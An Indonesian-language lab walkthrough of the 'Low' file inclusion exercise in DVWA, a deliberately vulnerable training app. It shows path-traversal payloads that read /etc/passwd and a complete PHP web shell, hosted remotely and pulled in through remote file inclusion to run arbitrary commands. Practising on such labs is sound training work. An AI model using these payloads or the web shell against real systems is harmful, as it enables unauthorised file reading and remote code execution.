Low

File Inclusion level Low on DVWA

Di bawah ini adalah source-code dari file inclusion level low di DVWA.

vulnerabilities/fi/source/low.php
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?> 

Mencari Informasi

Saat pertama kali kita mengakses halaman file inclusion, terdapat parameter page pada URL yang memanggil file include.php.

Jika kita klik file1.php, maka nilai parameter page akan menggunakan nama file tersebut dan menampilkan isinya, seperti berikut:

Ketika saya coba menginputkan ../ (untuk mundur 1 direktori) tidak terdapat pesan error apa pun. Dengan begitu kita bisa mencoba untuk melakukan eskalasi lebih lanjut.

Melakukan Serangan

Karena ada 2 jenis file inclusion, kita akan mencoba keduanya.

Local File Inclusion

Contohnya saya akan mencari file /etc/passwd pada server. Untuk itu saya harus mundur beberapa direktori dari tempat web server saat ini.

Setelah saya coba berkali-kali, akhirnya saya menemukan jawabannya, yaitu mundur 5 direktori terlebih dahulu.

?page=../../../../../etc/passwd

Yup! Dan sekarang kita bisa melihat isi dari file tersebut.

Cara lainnya adalah anda bisa langsung menggunakan payload seperti berikut:

?page=/etc/passwd

Selanjutnya anda bisa meng-explore lebih jauh lagi.😁

Remote File Inclusion

Kali ini kita akan membuat shell terlebih dahulu, lalu kita akan upload file tersebut ke suatu server yang bisa diakses oleh server target dan kita melakukan RCE.

Langsung saja, pertama-tama kita buat shell seperti di bawah ini lalu upload ke hosting/VPS kalian:

RFI-shell.txt
<body>
  <form action="<?php $link=(isset($_SERVER['HTTPS']) ? "https" : "http")."://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; echo "{$link}"?>" method="POST">
    <center>
      <br>
      <h1> Remote File Inclusion - SHELL </h1>
      <h2>
        Command:
        <input type="text" name="cmd" value=""/>
        <input type="submit" name="submit" value="cmd">
      </h2>
    </center>
  </form>

  <?php
    if(isset($_POST["cmd"])) {
      $cmd = $_POST["cmd"];
      $output = shell_exec("{$cmd}");
      echo "<h2>".$cmd."</h2>"."<pre>".$output."</pre>";
    }
  ?>
</body>

Setelah di-upload, panggil file tersebut melalui celah file inclusion. Contohnya di sini shell bisa diakses di http://0.0.0.0/RFI-shell.txt.

Dan jika berhasil, kita bisa menjalankan RCE seperti di atas. Gimana? NGERI? haha😅

Tetap semangat! Happy Hacking!🍻

Last updated